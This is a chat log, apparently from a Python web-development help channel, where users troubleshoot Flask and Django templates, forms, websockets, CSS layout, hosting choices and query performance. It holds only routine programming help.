you would need to escape the quotes

[native tide]

escape the quotes ?

[real wraith]

ie 'product[\'image_path\']'

[native tide]

ah

ok

thx ill try it

[real wraith]

its reading the quotes as being two different strings

[native tide]

I don't get the error anymore but image still isn't displaying

[real wraith]

check if this url is right in the html

[native tide]

this works <img src="{{ url_for('static', filename='images/products/muscletech-celltech-creactor.jpg') }}" class="product">

but when I use product["image_path"] i doesn't

[real wraith]

visit the website and check what it's trying to link to

[native tide]

what do you mean by what it's trying to link to

database : image_path : "images/products/muscletech-celltech-creactor.jpg"

[signal bronze]

is it possible for me to capture all the Network requests using python? Like all the stuff in Network tab in chrome devtools

[native tide]

depends on what you mean

[signal bronze]

well

when i make a request to something like youtube

[native tide]

from your browser?

I mean

you can make a request with python, in which case python is the client

[signal bronze]

i mean can i get these with the requests or urllib module?

[native tide]

haven touched requests or urllib in quite a while, but yes, you can use those to send requests to youtube and get a response back

[signal bronze]

i know that

but i mean could i get these other requests that the website makes?

[native tide]

you mean when using a browser? chrome in your example?

[signal bronze]

nvm

[native tide]

feel free to ask questions. this topic is not simple

just to let you know, the above question is not a valid (correct) question

that's why I'm bugging you with additional questions :)

and to answer what I think is your question. I don't think you can inspect what the browser sees with python. but you can inspect traffic, before it reaches the browser with python

[signal bronze]

Ok, thanks.

[vestal hound]

you can, but it's a bit involved

not what I would recommend

[native tide]

how? :) can you point me in general direction what to google? just want to get a general idea

[vestal hound]

you'd need something like Selenium

since you're using Python to drive the browser, you can interact with it

I don't think native Selenium lets you inspect the requests directly

but there's an addon for that

[native tide]

ok, I see how that could work. but I think my point still stands? but you can inspect traffic, before it reaches the browser

in your case, you 'drive' the browser with python

you can't communicate with the browser process (IMO)

[vestal hound]

hm okay perhaps I did not understand your point

can you explain what you mean by "communicate with the browser process"?

[native tide]

so, once traffic reaches the browser, I don't know of a way to interact with it with python

[vestal hound]

if you mean

interrogating the browser

from a third party program not integrated with it

then not really, I guess

you'd have to read its process memory directly etc. etc., which I think wouldn't count

[native tide]

yeah

that's what I mean

[sour epoch]

hey folks, I'm looking for a way to process a function in flask first before the next function can be called. in other words I want the tasks to not be handled asynchronously

I have a button which turns on a machine and another one that turns it off. pressing the two buttons immediately after another has very mixed results and either turns it off or leaves it still running

I am looking for a similar functionality as proxmox - when "shut down" is clicked on, the process is locked and further clicks are not registered until it is finished

what's the most optimal way of implementing this?

[wise rose]

Anyone familiar with Flask-SQLAlchemey and Automap_base?
I'm getting this record with a query but I can't access its fields.

user_exists = db.session.query(AdminUser).filter(AdminUser.email == arg_email).filter(AdminUser.admin_pass == hashed_password).first

This works, but then ...

user_exists.email

Throws an error: AttributeError: 'function' object has no attribute 'email'

I figured it out. Needed to be .first() not .first

[jovial cloud]

You'll need to store the status of the ongoing/current process and only allow another one to be started after the previous one is completed

[frozen wadi]

probably a mutex

https://docs.python.org/3/library/threading.html#threading.Lock

[sour epoch]

yes! that's what it's called

[frozen wadi]

yw :)

[sour epoch]

thanks guys I'll dig around some more
edit: so I couldn't get semaphores to work but instead went for a simple status update to a dictionary. when the function is called, its corresponding entry is set to 1 and any further calls get ignored until it is set back to 0

Hello. I trained various models with different loss functions on the same dataset. I would like to use flask to create a web-app that can be used to compare any two models for a chosen sample. These images are saved as .npys.
Essentially, I want to display images from multiple .npys in some kind of app.
Where should I start, is there a guide for something similar?

[pallid lily]

how does some one make chat that loads for sender and recipient on each new message

[rugged osprey]

Web sockets is probably what you are looking for.
You can implement this type of chat with Django channels and redis server.

[pallid lily]

thx

[rugged osprey]

Django channels is great when it works you can even easily pair users to groups and on the server side you just send certain messages to certain groups in very few lines of code
this video might be helpful https://www.youtube.com/watch?v=Wv5jlmJs2sU * the previous video was a paid course i think *
I'm pretty new to webdev and I had some troubles implementing it but in the end it worked.
I used it to create real time QnA session chat https://www.liveqna.me/ .
If you'll have some troubles you can dm me although I don't know how helpful will I be because I am having a little break in webdev because of studies.

[rotund perch]

Can you create a post_save profile for example for the built in django user? without editing the user model.

[tough crane]

Hey there, anybody can tell me why this does not work? I'm feeling kinda sstupid rn. I want to have those two "divs" that are inside "project-skills-links" to be next to each other not underneath.

The "&-skills-link" is inside the ".project" in an scss file.

[rugged osprey]

maybe use flexbox? or grid framework
source: https://www.freecodecamp.org/news/flexbox-the-ultimate-css-flex-cheatsheet/
examples: https://www.w3schools.com/css/css3_flexbox.asp

[tough crane]

Thank you I will try that ❤️

It seems like that my changes are not applied. In the browser I can not see that the "over arching div" has any style attributes.

[rugged osprey]

try using incognito tab (with cleared cache) if cache has anything to do with it

[tough crane]

Also after clearing cache and double checking with another browser does not seem to have any style attributes. I'm gona recheck and see if I do something wrong in the file.

💀 💀 😅 Ugh. nvm. I complied it everytime, but I forgot to run "collect static". So it never got put into the static where it loads it from. My bad ❤️ thanks for the help

[wraith yacht]

Use flexbox.

Wrap your div in a parent div and apply the following to the parent:

display: flex;
flex-direction: row;
justify-content: center;
align-items: center;

Then set the parent div's height to whatever you want. That should center it horizontally and vertically.

[rotund perch]

wow thanks!

Is it free?

where should i host my flask website? im expecting some decent traffic so i need the hosting to be pretty good

How decent is decent?

Heroku is still pretty great at scale, it's just premium

How many is that?

wdym

[haughty isle]

Like 10 concurrent users?

[devout aurora]

i looked into heroku its just so complicated to set up

[haughty isle]

Or 10,000?

[devout aurora]

call it 50

[haughty isle]

Heroku is literally the easiest

[devout aurora]

nah not that big

Hello for blogging, I am fluent in Python, what are the frontal languages ​​I need to learn?

Are html, css and flexbox languages ​​enough?

Although I know Python, do I need JavaScript ??

[frosty mauve]

Any Django gurus in here? I have been stuck on model.forms for a bit and curious to see if anyone can alleviate my pain w/ their wisdom.

[vestal hound]

not necessary

JS just provides dynamism

why do you need to do that?

that is...quite scary.

anyway, with proper devops, it will appear seamless, but having to effect a manual code change for each registration is...wild tbh

it's pretty easy! I've done it before

[autumn dust]

You should try Heroku

[final stag]

Yup

[frosty mauve]

Just to elaborate on my issue:
I have an city object in my DB and display name, temperature, etc..
I also created a form that allows me to rate it.
I am unsure of how to have this form submit the rating while passing in the parent (city) pk.
If anyone can provide any insight into how to accomplish this ❤️

I think the issue lies in populating the rating form with the city object but I am not sure how to dynamically do that when there are multiple forms, one for each City.

you have excluded city from the form because u dnt want to be provided the option to input a value for the city. That's okay.
but u can add a hidden input field and pass it the city id, and get it in your request

@autumn dust How do I do this part pass it the city id, . This is where I am really stuck

[autumn dust]

do u knw abt django geolocation? It is the best solution for finding points and coordinates

[scenic citrus]

no

but it's not geolocation

[autumn dust]

I am guessing you are doing some kind of a loop to display the city names and inputs. so u can get the id of the city and add it to the hidden inpu like value="city.id"
<input type="hidden" id="city_id" name="city_id" value="city.id">

this is the json type obj in table {

What can be a better way to keep source foreign keys in a table?
Eg: User can be signed up from multiple forms. I want to keep references of each flow, so

class UserOnboarding(Model):
  contact_form = models.ForeignKey(ContactForm)
  sales_form = models.ForeignKey(SalesForm)
  public_form = models.ForeignKey(PublicForm)

At one point, only 1 of them can be have a value and others will be None.
Everytime a new signup flow is added, new foreign key which will have null value for most cases again.
Any better way to solve/design this?

I am using Django for web dev and i want to display a set of choices on the frontend that represent the data in the database, and users must be able to select an option and I must be able to save the chosen option. How do I implement it, i have been struggling. Help.

[autumn dust]

What error are u getting pls?

[autumn dust]

use modelform

[scenic citrus]

i'm not getting any error, my programe is not finding the point with in coordinates, it's giving empty query set[].

even the point in between coordinates

[autumn dust]

siding_coordinatestopLeftxlte
try sidings__coordinates__topLeft__x__lte

[haughty isle]

Model choice field?

[scenic citrus]

will Q function condition work?

[prisma grove]

am looking into this..

[prisma grove]

how does this work?

[autumn dust]

try n let's hoping it will work

[scenic citrus]

isi this okay, Sidings.objects.filter(
# Q(siding_coordinates__topLeft__x__lte =x)&
# Q(siding_coordinates__topRight__x__gte =x)&
# Q(siding_coordinates__botLeft__x__lt =x)&
# Q(siding_coordinates__botRight__x__gte =x)&
# Q(siding_coordinates__topLeft__y__lte =y)&
# Q(siding_coordinates__topRight__y__lte =y)&
# Q(siding_coordinates__botLeft__y__gt =y)&
# Q(siding_coordinates__botRight__y__gte =y)).values('siding_coordinates')

[haughty isle]

You don't need Q here, you can pass kwargs directly to filter

[autumn dust]

no i dnt think so.

[scenic citrus]

then how could i write condition

[rotund perch]

in django class-based views is it able to point a url to a function in that class?
For example:

class Somthing(View):
  def function(self,request):
     pass

urlpatterns = [
  path('',views.Something.function.as_view())
]

[eternal blade]

But the event doesn't seem to be sent through the websocket, this is the code for the consumer ```py
class ChatConsumer(WebsocketConsumer):
def connect(self):
user = self.scope["user"]
if not user.is_anonymous:
self.channel_name = f"User-{user.id}"
self.accept()
self.send(text_data=json.dumps(UserSerializer(user).data))
else:
self.close()

def disconnect(self, close_code):
    pass

def receive(self, text_data):
    print("received!")
    data = json.loads(text_data)

def chat_message_send(self, event):
    print(f"Sent msg to {self.channel_name}")
    self.send(text_data=json.dumps(event["message"]))

def chat_message_delete(self, event):
    self.send(text_data=json.dumps(event["message"]))

def chat_message_edit(self, event):
    print(f"Sent edit to {self.channel_name}")
    self.send(text_data=json.dumps(event["message"]))

Nothing gets printed

I want to be able to open a modal pop up window for quick view. Current code isn't showing modal when "quick view" button pressed. (i use Flask)

is anyone familiar with sweetify ? im stuck on something and have checked all possible issues, and my brain is about to explode 😅

when i do a if request.method == 'POST' , i cannot generate any sweetify alerts (im using ajax as a post request) HOWEVER if i use the usual form post in the html, then the request.method== 'POST' works for a sweetify alert ?????????

$.ajax({
            type: "POST",
            url: "{% url 'application_approval' %}",
            data: {
                "decision": decisionBool,
                "applicantID": applicantID,
                "currentClub": '{{ club.id }}',
                csrfmiddlewaretoken: window.CSRF_TOKEN,
            },
        });
    }```

and if for example, i use a simple form post, it works for some strange reason ??

                         <form action="" method="post">
                            {% csrf_token %}
                            <button type="submit" name='joinClubButton' value={{club.id}}
                                onclick="applyToClub()">Apply Now</button>
                        </form>``` this is just an example, not apple to apple comparison essentially the same

@login_required
def application_approval(request):
    if request.method == 'POST' :
      sweetify.success(request, 'Application Accepted', icon='success', timer='3000', backdrop="false")
    else:
      sweetify.error(request, 'This user does not exist anymore', icon='error', button='Ok', timer='3000')

    return render(request, 'application_approval.html', {'club': club, 'applicantList': clubApplicantList})```

how can i make my text on a html website go smaller when the window goes smaller

so it all fits

?

[fierce grail]

put it in a container ?

[native tide]

Hello

The following line of code isn't working correctly : document.getElementById(id).style.display = "block";

It shows the element the first time the button is clicked but not the second time where I can press the buttons but they aren't visible.

I found the issue

opacity was = 0

Why isn't the following code not working : document.getElementById(id).style.transition = "all 0.1s ease-in";

[slim urchin]

why is this not working?

[midnight meadow]

I have no clue

This is why I don’t have the helper role

[native tide]

because you didnt link the js file

uWSGI looks really good for a Django website; is it a sensible choice over mod_wsgi for a beginner?

[hasty glacier]

Hey - on Django I have a 1 - many related table and I've created a nested serializer to join them. My view is using model.Objects.All() and the query speed is really slow.

I can't figure out to optimise this as .select_related returns that there are 'none' related. Any help would be great! 🙂

[hasty glacier]

Check this out. It's a good guide using uWSGI. https://tonyteaches.tech/django-nginx-uwsgi-tutorial/

[indigo kettle]

I think you need to do prefetch_related @hasty glacier

[dusty steeple]

Nice. Recent too. Nginx is one of the parts I wasn't sure about but thought it would be good to have some familiarity with.
Thanks.

[hasty glacier]

This is my thinking too but I'm unsure how to use it here. Any suggestions?

[indigo kettle]

in your queryset=Jobs.objects.all().prefetch_related('tasks')

[hasty glacier]

Perfect!!

[indigo kettle]

there are some caveats in when you execute the prefetch related but I forget what they are. Like if you do things after it, it overwrites the prefetch related part

[hasty glacier]

I was doing queryset=Jobs.prefect_related('tasks)... woops...

[indigo kettle]

ah

[hasty glacier]

Cheers - load time went from 6s to 500ms. 👍

Question regarding using Graphene with SQLAlchemy and Relay. If I have a query set up that will return all nodes (e.g. Books). How do I allow for queries for a single book? I want to be able to search for the single book based on a field I've defined (ISBN number) as opposed to the ID this generated by graphene/relay (because I wouldn't know what that is in advance).

I've tried creating a resolver function in the Query class that would take the ISBN number, query the database and return the book data in the response, but the result when I test in graphiql is null

[dusty steeple]

So, in this set up: django-nginx-uwsgi-tutorial/ Apache is redundant?

[vernal iron]

it's a flask app

When I originally worked on the graphene tutorial it was possible to have multiple resolvers under a single query class. Is there something that would prevent a regular resolver and a resolver that uses relay node

class StateQuery(ObjectType):
def resolve_state(root, info, ccode):
return _get_state(ccode)

all_states = SQLAlchemyConnectionField(StateNode.connection)

schema = Schema(query=StateQuery)

[dusty steeple]

Guys I'm trying to make a website, except I don't know what I'm doing

[dusty steeple]

From what I've gathered, websites start off with HTML, get pretty with CSS, go nuts with JS, get generated by frameworks (Django), get hosted by servers-and-you-thought-JS-was-bad.

I think a website is one of those things that no one person can really do fully because it involves so many different disciplines (SOE, design, dev, sys admin...).

[gritty hedge]

Well that's just great

[calm plume]

A single person can do it, it just requires knowledge in quite a few areas
